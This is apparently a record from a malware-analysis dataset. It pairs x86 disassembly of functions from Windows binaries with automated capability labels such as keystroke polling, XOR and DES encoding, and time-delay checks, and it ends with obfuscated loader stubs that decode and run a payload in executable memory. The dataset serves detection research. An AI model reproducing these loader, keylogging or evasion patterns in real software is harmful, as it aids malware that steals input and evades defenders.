joyce8/EMBER2024-capa huggingface dataset:
Function at 0x496db0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4f9c50
push eax
mov dword fs:[0], esp
sub esp, 8
push ebx
push ebp
push esi
push edi
mov esi, ecx
call fcn.004f26f2
mov edi, dword [eax + 0xc]
xor ebp, ebp
cmp edi, ebp
jne 0x496de3
xor al, al
jmp 0x496f0f
mov ebx, dword [esp + 0x28]
push 0xf1
and ebx, 0xffff
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, ebp
jne 0x496e05
xor al, al
jmp 0x496f0f
push eax
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, ebp
jne 0x496e18
xor al, al
jmp 0x496f0f
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
cmp edi, ebp
jne 0x496e2c
xor al, al
jmp 0x496f0f
xor eax, eax
xor ecx, ecx
mov ax, word [edi + 2]
push ebp
mov dword [esi + 0x14], eax
xor eax, eax
mov ax, word [edi + 4]
mov edx, dword [esi + 0x14]
mov dword [esi + 0x18], eax
mov cx, word [edi + 6]
push ecx
push 5
push eax
push edx
lea ecx, [esi + 0x1c]
call fcn.004e6663
test eax, eax
jne 0x496e60
xor al, al
jmp 0x496f0f
mov eax, dword [esi + 0x34]
push eax
mov eax, dword [esi + 0x20]
push eax
call dword [sym.imp.COMCTL32.dll_ImageList_SetBkColor]
mov dword [esp + 0x14], ebp
mov dword [esp + 0x10], 0x51d364
mov dword [esp + 0x20], ebp
call fcn.004f26f2
mov eax, dword [eax + 0xc]
push ebx
push eax
call dword [sym.imp.USER32.dll_LoadBitmapA]
push eax
lea ecx, [esp + 0x14]
call fcn.004ef2d4
mov edx, dword [esp + 0x14]
mov ecx, dword [esi + 0x20]
lea eax, [esp + 0x10]
push 0xc0c0c0
neg eax
sbb eax, eax
and eax, edx
push eax
push ecx
call dword [sym.imp.COMCTL32.dll_ImageList_AddMasked]
lea ecx, [esp + 0x10]
call fcn.004ef32b
xor ecx, ecx
lea ebx, [edi + 8]
cmp word [edi + 6], cx
jbe 0x496ef4
mov ax, word [ebx]
test ax, ax
je 0x496ee6
mov edx, ecx
inc ecx
mov dword [esp + 0x28], ecx
push eax
push edx
mov ecx, esi
call fcn.00496f30
mov ecx, dword [esp + 0x28]
xor edx, edx
inc ebp
mov dx, word [edi + 6]
add ebx, 2
cmp ebp, edx
jl 0x496eca
mov dword [esp + 0x10], method.CGdiObject.virtual_0
lea ecx, [esp + 0x10]
mov dword [esp + 0x20], 1
call fcn.004ef32b
mov al, 1
mov ecx, dword [esp + 0x18]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x14
ret 4

Function at 0x497470
Capabilities:
Get graphical window text

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x50
push esi
mov esi, dword [esp + 0x58]
push edi
push eax
mov ecx, esi
call fcn.004f0984
mov edi, eax
mov eax, dword [esi]
test eax, eax
je 0x4974b6
lea ecx, [esp + 8]
push 0x50
push ecx
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea edx, [esp + 8]
push edx
call fcn.004d3478
mov ecx, dword [esp + 0x68]
add esp, 4
pop edi
mov dword [ecx], eax
pop esi
add esp, 0x50
ret 0xc
mov edx, dword [esp + 0x64]
lea ecx, [esp + 8]
mov eax, dword [edx]
push eax
push 0x53d054
push ecx
call fcn.004d4ed0
add esp, 0xc
lea edx, [esp + 8]
push edx
push edi
call dword [sym.imp.USER32.dll_SetWindowTextA]
pop edi
pop esi
add esp, 0x50
ret 0xc
Function at 0x49a650
Capabilities:
Create thread

Disassembly:
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 8]
lea eax, [esp + 0xc]
push eax
push 0
push ecx
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [esp + 4]
xor edx, edx
test eax, eax
setne dl
mov dword [ecx], eax
mov eax, edx
ret
Function at 0x4a1110
Capabilities:
Encrypt data using des

Disassembly:
sub esp, 0xf4
xor ecx, ecx
push ebx
push ebp
push esi
mov esi, dword [esp + 0x104]
push edi
xor eax, eax
mov al, byte [ecx + str.80_]
mov edx, eax
and eax, 7
sar edx, 3
mov bl, byte [eax*2 + 0x53de84]
mov dl, byte [edx + esi]
test bl, dl
setne al
mov byte [esp + ecx + 0x4c], al
inc ecx
cmp ecx, 0x38
jl 0x4a1123
mov eax, 0x1e
xor edx, edx
mov dword [esp + 0x10], eax
cmp dword [esp + 0x10c], 1
je 0x4a1164
lea eax, [edx + edx]
lea edi, [esp + eax*4 + 0x88]
lea ebp, [esp + eax*4 + 0x84]
xor eax, eax
xor ecx, ecx
mov cl, byte [edx + 0x53df2c]
mov dword [edi], 0
mov dword [ebp], 0
mov esi, ecx
cmp ecx, 0x1c
jge 0x4a1196
mov bl, byte [esp + ecx + 0x4c]
jmp 0x4a119a
mov bl, byte [esp + ecx + 0x30]
mov byte [esp + eax + 0x14], bl
inc eax
inc ecx
cmp eax, 0x1c
jl 0x4a118b
mov eax, 0x1c
lea ecx, [esi + 0x1c]
cmp ecx, 0x38
jge 0x4a11b8
mov bl, byte [esp + ecx + 0x4c]
jmp 0x4a11bc
mov bl, byte [esp + ecx + 0x30]
mov byte [esp + eax + 0x14], bl
inc eax
inc ecx
cmp eax, 0x38
jl 0x4a11ad
xor ecx, ecx
mov eax, 0x53de94
xor ebx, ebx
mov bl, byte [ecx + 0x53df3c]
cmp byte [esp + ebx + 0x14], 0
je 0x4a11e7
mov esi, dword [eax]
mov ebx, dword [ebp]
or ebx, esi
mov dword [ebp], ebx
xor ebx, ebx
mov bl, byte [ecx + 0x53df54]
cmp byte [esp + ebx + 0x14], 0
je 0x4a11fe
mov esi, dword [eax]
mov ebx, dword [edi]
or ebx, esi
mov dword [edi], ebx
add eax, 4
inc ecx
cmp eax, str.80_
jl 0x4a11ce
mov eax, dword [esp + 0x10]
inc edx
sub eax, 2
cmp eax, 0xfffffffe
mov dword [esp + 0x10], eax
jg 0x4a1157
lea edx, [esp + 0x84]
push edx
call fcn.004a1240
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xf4
ret
Function at 0x4a5fad
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4f9fe8
push eax
mov dword fs:[0], esp
sub esp, 0x14
mov eax, dword [esp + 0x28]
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
mov edx, dword [esi + 0x40]
test edx, edx
setne bl
inc ebx
test eax, eax
je 0x4a5fc3
or bh, 0x80
lea ecx, [esp + 0xc]
call fcn.004ab440
mov edx, dword [esp + 0x30]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x28], 0
push ecx
push edx
lea ecx, [esp + 0x14]
call fcn.004ab7b0
lea eax, [esp + 0xc]
push ebx
push eax
mov ecx, esi
call fcn.004a6030
lea ecx, [esp + 0xc]
mov dword [esp + 0x28], 0xffffffff
mov dword [esp + 0xc], 0x51e4a0
call fcn.004ab640
mov ecx, dword [esp + 0x20]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x20
ret 8
Function at 0x4aae70
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
mov ebx, ecx
push ebp
push esi
mov eax, dword [ebx + 0x13c]
push edi
test eax, eax
jle 0x4aaebc
mov eax, dword [ebx + 0x140]
test eax, eax
jle 0x4aaebc
mov ebp, dword [sym.imp.USER32.dll_GetKeyState]
xor esi, esi
lea edi, [ebx + 0x150]
mov eax, dword [edi]
test eax, eax
je 0x4aaea6
push eax
call ebp
test ax, ax
jl 0x4aaeb4
inc esi
add edi, 4
cmp esi, 6
jb 0x4aae98
pop edi
pop esi
pop ebp
pop ebx
ret
push esi
mov ecx, ebx
call fcn.004aab70
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x4aeda0
Capabilities:
Create thread

Disassembly:
push ecx
cmp dword [ecx + 0xcc], 1
je 0x4aee00
mov eax, dword [ecx + 0x1c]
test eax, eax
je 0x4aee00
mov eax, dword [ecx + 0xb0]
test eax, eax
je 0x4aee00
push esi
mov edx, 5
mov esi, dword [ecx + 0xbc]
cmp esi, edx
pop esi
je 0x4aee00
mov dword [ecx + 0xb4], eax
mov dword [ecx + 0x94], 0
mov dword [ecx + 0xbc], edx
lea eax, [esp]
push eax
push 0
push ecx
push 0x4aee10
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ecx
ret
Function at 0x4b04d0
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0xa0
push ebx
push ebp
mov ebp, dword [esp + 0xac]
push esi
push edi
push ebp
call sub.RASAPI32.dll_RasHangUpA
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x28
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], 0xa0
call esi
mov edi, eax
call esi
sub eax, edi
cmp eax, 0xbb8
jae 0x4b0536
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x10]
push eax
push ebp
call sub.RASAPI32.dll_RasGetConnectStatusA
cmp eax, 6
je 0x4b0536
push 0
call ebx
call esi
sub eax, edi
cmp eax, 0xbb8
jb 0x4b0517
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xa0
ret

Function at 0x4b08c0
Capabilities:
Create http request

Disassembly:
push esi
mov esi, ecx
cmp dword [esi], 0
jne 0x4b08f8
mov edx, dword [esi + 4]
xor eax, eax
push 0
push 0
mov ecx, dword [edx - 8]
test ecx, ecx
setne al
mov ecx, eax
neg ecx
sbb ecx, ecx
and ecx, edx
neg eax
sbb eax, eax
push ecx
and eax, 2
inc eax
push eax
push str.Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.0_
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [esi], eax
mov ecx, dword [esi]
xor eax, eax
test ecx, ecx
setne al
pop esi
ret
Function at 0x4b1520
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
mov eax, dword [ecx]
lea ecx, [esp]
push ecx
push 0
lea edx, [esp + 0x10]
push 0
push edx
push 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
call sub.WS2_32.dll_select
cmp eax, 0xffffffff
jne 0x4b1569
xor eax, eax
add esp, 0x10c
ret 4
mov edx, dword [esp + 0x110]
xor ecx, ecx
test eax, eax
setne cl
mov dword [edx], ecx
mov eax, 1
add esp, 0x10c
ret 4

Function at 0x4b19e0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4fa680
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.004b1590
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.004b1610
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.004b1610
lea ecx, [esi + 0xc]
call fcn.004e8469
lea ecx, [esi + 0x10]
call fcn.004e8469
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.004b2ba0
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.004b2ba0
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.004b2ba0
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.004e84de
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.004e84de
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x4b44ec
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push ebx
mov edi, dword [ebp + 8]
mov edx, dword [0x63f4a0]
mov ecx, dword [ebp + 0xc]
mov ebx, dword [0x63f4a4]
dec edi
xor eax, eax
add bl, byte [edx + 0x63f3a1]
mov al, byte [edx + 0x63f3a1]
mov ch, byte [ebx + 0x63f3a0]
mov byte [ebx + 0x63f3a0], al
mov byte [edx + 0x63f3a1], ch
add al, ch
inc edi
mov al, byte [eax + 0x63f3a0]
inc dl
xor byte [edi], al
dec cl
jne 0x4b4507
mov dword [0x63f4a0], edx
mov dword [0x63f4a4], ebx
pop ebx
pop edi
pop esi
leave
ret 8
Function at 0x4bd970
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0xc]
test esi, esi
push edi
jne 0x4bd980
mov esi, 1
push esi
call fcn.004d4157
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x4bd9d2
call fcn.004d5c6a
mov edi, eax
call fcn.004c04c0
mov ecx, dword [edi]
mov dword [eax], ecx
mov eax, dword [esp + 0x14]
mov edi, eax
and edi, 8
je 0x4bd9b6
mov edx, dword [0x54d220]
mov dword [0x54d21c], edx
test al, 0x18
je 0x4bd9c7
push esi
push 0x24
push 5
call fcn.004c0d10
add esp, 0xc
test edi, edi
je 0x4bd9ed
push 1
call fcn.004d589b
test byte [esp + 0x14], 0x20
je 0x4bd9ed
mov ecx, esi
mov edx, ecx
shr ecx, 2
xor eax, eax
mov edi, ebx
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
pop edi
pop esi
mov eax, ebx
pop ebx
ret

Function at 0x4beaf0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2c
mov edx, dword [ebp + 0x10]
test edx, edx
push ebx
push esi
push edi
je 0x4bebe4
cmp byte [edx], 0
je 0x4bebd7
mov eax, dword [ebp + 0xc]
mov ebx, dword [ebp + 8]
add eax, 8
or ecx, 0xffffffff
mov dword [esp + 0xc], eax
xor eax, eax
mov edi, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
lea ecx, [esp + 0x20]
push ecx
mov esi, ebx
call fcn.004bea70
mov edi, dword [ebp + 0xc]
push 8
lea edx, [esp + 0x20]
push edi
push edx
call fcn.004bea70
mov edx, dword [esp + 0x34]
mov eax, dword [esp + 0x2c]
mov ecx, dword [esp + 0x28]
xor eax, edx
push eax
xor ecx, dword [esp + 0x34]
push ecx
lea edx, [esp + 0x40]
push edx
call fcn.004be9e0
mov eax, dword [esp + 0x30]
add esp, 0x24
cmp edi, eax
jae 0x4beba1
sub eax, edi
mov edi, eax
lea eax, [esp + 0x20]
push eax
call fcn.004bea20
fmul qword [0x51fbb8]
push ecx
fstp qword [esp]
call fcn.004d2ac8
fadd qword [0x51fbb0]
add esp, 8
call fcn.004d2b98
mov byte [ebx], al
inc ebx
dec edi
jne 0x4beb74
lea ecx, [esp + 0x20]
push ecx
call fcn.004bea20
fmul qword [0x51fbb8]
push ecx
fstp qword [esp]
call fcn.004d2ac8
add esp, 8
call fcn.004d2b98
cmp esi, ebx
je 0x4bebcd
xor byte [esi], al
inc esi
cmp esi, ebx
jne 0x4bebc6
mov byte [ebx], 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp + 8]
mov byte [edx], 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 8]
pop edi
pop esi
mov byte [eax], 0
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4befb0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push ebp
push esi
lea eax, [ebx + 0x134]
push edi
lea esi, [ebx + 0x34]
mov dword [esp + 0x14], eax
xor edi, edi
mov ecx, dword [ebx + 0x1c]
mov ebp, edi
and ebp, 0xff
mov al, byte [ecx + ebp + 1]
test al, 3
je 0x4befe0
mov byte [edi + esi], 2
jmp 0x4bf017
test al, 4
je 0x4befea
mov byte [edi + esi], 0xd
jmp 0x4bf017
mov edx, dword [ebx + 0x240]
push edi
push ebx
call dword [edx + 4]
add esp, 8
cmp eax, 1
jle 0x4bf003
mov byte [edi + esi], 2
jmp 0x4bf017
mov eax, dword [ebx + 0x1c]
test byte [eax + ebp + 1], 0x17
jne 0x4bf013
mov byte [edi + esi], 0x19
jmp 0x4bf017
mov byte [edi + esi], 1
inc edi
cmp edi, 0x100
jb 0x4befc7
mov ecx, dword [esp + 0x14]
mov al, 7
mov byte [esi + 0x21], al
mov byte [esi + 0x3d], al
mov byte [esi + 0x3e], al
mov al, 0x10
mov byte [esi + 0x7c], al
mov byte [esi + 0x26], al
mov byte [esi + 0x24], 2
mov byte [esi + 0x5f], 2
mov byte [esi + 0x27], 9
mov byte [esi + 0x2e], 0xf
mov byte [esi + 0x3c], 8
mov byte [esi + 0x23], 0xa
mov byte [esi + 0x3b], 0x15
mov byte [esi + 0x3a], 0x16
mov byte [esi], 0x11
mov byte [esi + 0x5c], 0x12
mov byte [esi + 0x2f], 0x13
mov byte [esi + 0x2a], 0x14
mov byte [esi + 0x40], 0x17
mov byte [esi + 0x60], 0x1a
mov byte [esi + 0x22], 0x20
mov eax, esi
sub ecx, esi
mov edi, 0x100
mov dl, byte [eax]
cmp dl, 2
je 0x4bf08b
cmp dl, 0xd
je 0x4bf08b
xor edx, edx
jmp 0x4bf090
mov edx, 1
mov byte [ecx + eax], dl
inc eax
dec edi
jne 0x4bf07b
mov al, 0x1d
mov byte [esi + 0x58], al
mov byte [esi + 0x78], al
mov al, 0x1f
pop edi
mov byte [esi + 0x62], 0x1e
mov byte [esi + 0x4e], al
mov byte [esi + 0x6e], al
pop esi
pop ebp
pop ebx
ret

Function at 0x4bf0b0
Capabilities:
Read file on windows

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
push ebx
push 0x4000
call fcn.004bd970
mov esi, eax
add esp, 8
test esi, esi
jne 0x4bf0d1
pop edi
pop esi
xor al, al
pop ebx
ret
mov eax, dword [esp + 0x10]
push ebx
push 0
push eax
call fcn.004c0700
mov edi, eax
add esp, 0xc
test edi, edi
jge 0x4bf0f6
push esi
call fcn.004bda00
add esp, 4
pop edi
pop esi
mov al, 1
pop ebx
ret
push ebp
push 0x4000
push esi
push edi
call fcn.004dfcba
push ebx
push edi
mov ebp, eax
call fcn.004c0770
push 0x4bf130
push ebp
push esi
call fcn.004c1aa0
push esi
call fcn.004bda00
add esp, 0x24
pop ebp
pop edi
pop esi
xor al, al
pop ebx
ret
Function at 0x4c0430
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebx
push esi
push 0x64a3a0
xor bl, bl
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [0x64a2c0]
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
jne 0x4c04ab
push 0x4c
push 1
call fcn.004d5358
mov esi, eax
add esp, 8
test esi, esi
jne 0x4c0473
push 0x64a3a0
mov bl, 1
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
mov al, bl
pop ebx
ret
mov ecx, dword [0x64a2c0]
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov eax, dword [0x63f734]
inc eax
lea edx, [esi + 0xc]
mov dword [0x63f734], eax
push edx
mov dword [esi + 0x30], eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea eax, [esi + 4]
push 0
push eax
call fcn.004c3f60
add esp, 8
mov byte [esi + 0x3c], 1
push 0x64a3a0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
mov al, bl
pop ebx
ret

Function at 0x4c0930
Capabilities:
Read file on windows

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x1c]
mov dword [esp + 0x1c], edi
call fcn.004d5c6a
mov ebx, dword [esp + 0x14]
mov dword [eax], 0
mov eax, dword [esp + 0x18]
push edi
push eax
push ebx
call fcn.004dfcba
mov esi, eax
add esp, 0xc
cmp esi, edi
je 0x4c0a2a
call fcn.004d5c6a
cmp dword [eax], 0
je 0x4c0977
call fcn.004d5c6a
mov ebp, dword [eax]
jmp 0x4c097a
or ebp, 0xffffffff
call fcn.004c04c0
test esi, esi
mov dword [eax], ebp
jne 0x4c098f
call fcn.004d5c6a
cmp dword [eax], 4
je 0x4c09df
mov eax, dword [esp + 0x20]
test al, 0x1a
je 0x4c09c2
cmp esi, 0xffffffff
je 0x4c0a04
test al, 6
je 0x4c09c2
call fcn.004c04c0
mov ecx, dword [eax]
push ecx
push ebx
call fcn.004c3f90
add esp, 4
push eax
push 0x24
push 9
call fcn.004c0d10
mov eax, dword [esp + 0x30]
add esp, 0x10
cmp esi, 0xffffffff
je 0x4c0a22
test al, 6
je 0x4c09d0
test ah, 2
je 0x4c0a22
test esi, esi
jbe 0x4c0a2e
test ah, 2
je 0x4c0a2e
add dword [esp + 0x18], esi
sub edi, esi
call fcn.004d5c6a
mov edx, dword [esp + 0x18]
push edi
push edx
push ebx
mov dword [eax], 0
call fcn.004dfcba
mov esi, eax
add esp, 0xc
cmp esi, edi
je 0x4c0a2a
jmp 0x4c0964
call fcn.004c04c0
mov eax, dword [eax]
push eax
push ebx
call fcn.004c3f90
add esp, 4
push eax
push 0x24
push 2
call fcn.004c0d10
add esp, 0x10
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret
mov eax, dword [esp + 0x20]
test al, 6
je 0x4c0a3b
xor esi, esi
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
ret
test ah, 2
je 0x4c0a44
mov esi, dword [esp + 0x1c]
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
ret

Function at 0x4d6c85
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4d6ca5
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.004d5bf7
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x4d6cc8
test byte [esp + 8], 2
je 0x4d6cc8
call fcn.004d5c6a
mov dword [eax], 0xd
call fcn.004d5c73
mov dword [eax], 5
jmp 0x4d6ca1
xor eax, eax
ret
Function at 0x4ea894
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4ea8cc
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004e8939
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004e8911
jmp 0x4ea8d8
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4ec08f
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4ec0d1
call fcn.004f26f2
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4ec0d1
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4ec0c8
xor eax, eax
jmp 0x4ec0d9
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004ec0df
pop edi
pop esi
pop ebx
ret 4

Function at 0x4f2c22
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4f2c50
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4f2c6e
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004f2b88
jmp 0x4f2c6e
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4f2c6e
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004f2b88
test edi, edi
mov eax, edi
jne 0x4f2c58
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x401c66
pop dword [ebp - 0x40]
mov eax, 0x885c98e2
add eax, 0x77e38384
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0xfe7a29cd
add dword [ebp - 0x50], 0x4fd81b7e
mov dword [ebp - 0x4c], 0x7d1f8257
sub dword [ebp - 0x4c], 0x4aec3612
mov dword [ebp - 0x48], 0xe433fd5f
add dword [ebp - 0x48], 0x681846cf
mov dword [ebp - 0x44], 0xf4dc2211
add dword [ebp - 0x44], 0xb23ddef
lea eax, [ebp - 0x50]
push eax
mov eax, 0x9041a4b6
add eax, 0x6ffe8b9e
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0xeb561fc2
add dword [ebp - 0x50], 0x891c4994
mov dword [ebp - 0x4c], 0xdebfac7d
add dword [ebp - 0x4c], 0x62acb4f8
mov dword [ebp - 0x48], 0xbe32e810
sub dword [ebp - 0x48], 0x5ac37ba4
mov dword [ebp - 0x44], 0x24c5bdfe
add dword [ebp - 0x44], 0xdb3a4202
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, 0x57f3730a
add eax, 0xa84cbd22
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x3621a
push 0
call eax
mov ecx, 0x469a
xor edx, edx
add edx, eax
mov ebx, 0x3297d319
sub ebx, 0x32576319
add ebx, dword [ebp - 0x40]
mov edi, 0x82735990
add edi, 0x2147599d
mov esi, dword [ebx]
sub esi, edi
mov dword [edx], esi
xor dword [ebp - 0x14], 0xd854d1e4
add edx, 4
add ebx, 4
loop 0x401d84
add eax, 0x10d3b
xor ebx, ebx
add ebx, eax
add eax, 0x9a1fee7c
sub eax, 0x9a1fee77
mov ecx, 0x400000
add ecx, dword [ebp - 0x40]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret
Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c

Function at 0x40d26b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x40d27a
pop dword [ebp - 0x4c]
mov eax, 0x40d27a
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0xb747bcf4
sub dword [ebp - 0x5c], 0x68f577a9
mov dword [ebp - 0x58], 0xef202512
sub dword [ebp - 0x58], 0xbcecd8cd
mov dword [ebp - 0x54], 0x7df445fa
sub dword [ebp - 0x54], 0x31a801cc
mov dword [ebp - 0x50], 0x91d081c0
sub dword [ebp - 0x50], 0x91d081c0
lea eax, [ebp - 0x5c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0x2f033155
sub dword [ebp - 0x5c], 0xba90c7ff
mov dword [ebp - 0x58], 0xa10e6b14
add dword [ebp - 0x58], 0xa05df661
mov dword [ebp - 0x54], 0x5bcb4a74
add dword [ebp - 0x54], 0x7a421f8
mov dword [ebp - 0x50], 0x76cf84cf
add dword [ebp - 0x50], 0x89307b31
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, 0xae7df72a
add eax, 0x51c439fa
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x3ed68
push 0
call eax
mov ecx, 0xe5ea731d
sub ecx, 0xe5ea2699
mov esi, eax
mov edx, 0x95c47de4
add edx, 0x6a7ec61c
add edx, dword [ebp - 0x4c]
mov ebx, 0x9b8dd520
sub ebx, 0xdca0b0fe
sub dword [ebp - 0x1c], eax
mov edi, dword [edx]
mov dword [ebp - 0x38], 0xd22a91e3
add edi, ebx
sub dword [ebp - 0x40], 0x92caac1d
mov dword [esi], edi
xor dword [ebp - 0x30], 0xe2696387
add esi, 0x68ac62b5
add esi, 0x97539d4f
add edx, 0xaefb04fa
add edx, 0x5104fb0a
loop 0x40d392
add eax, 0x7e809f05
add eax, 0x818085de
mov ebx, eax
add eax, 0x37efc192
add eax, 0xc8103e73
mov ecx, 0xb90fa0cb
sub ecx, 0xb8cfa0cb
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret